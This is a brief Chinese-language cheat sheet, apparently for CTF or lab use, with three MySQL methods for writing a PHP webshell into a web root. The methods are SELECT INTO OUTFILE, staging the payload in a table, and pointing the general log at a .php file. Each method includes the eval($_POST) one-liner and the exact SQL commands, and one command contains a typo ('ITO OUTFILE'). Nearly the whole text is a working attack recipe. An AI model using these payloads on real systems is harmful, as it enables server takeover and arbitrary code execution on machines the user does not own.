1.select into outfile直接寫入webshell 查詢文件寫入路徑的值 show global variables like '%secure%' 寫入webshell select '<?php @eval($_POST[shell]);?>'INTO OUTFILE 'D:/phpstudy_pro/WWW/test.php'
2. 創建數據庫和寫入webshell CREATE TABLE ctf.test( id text(500) not null); INSERT INTO ctf.test (id) VALUES('<?php @eval($_POST[cmd]);?>'); SELECT id FROM test ITO OUTFILE 'D:/phpstudy_pro/WWW/1.php'; DROP TABLE IF EXISTS test; 3.通過開啟全日志getShell: 查詢日志路徑和是否允許寫入 SHOW VARIABLES LIKE '%general%' 更新日志路徑 set global general_log_file='D:/phpstudy_pro/WWW/22.php' 通過查詢將webshell寫入日志 select '<?php eval($_POST[shell]); ?>' 關閉日志 set global general_log='off';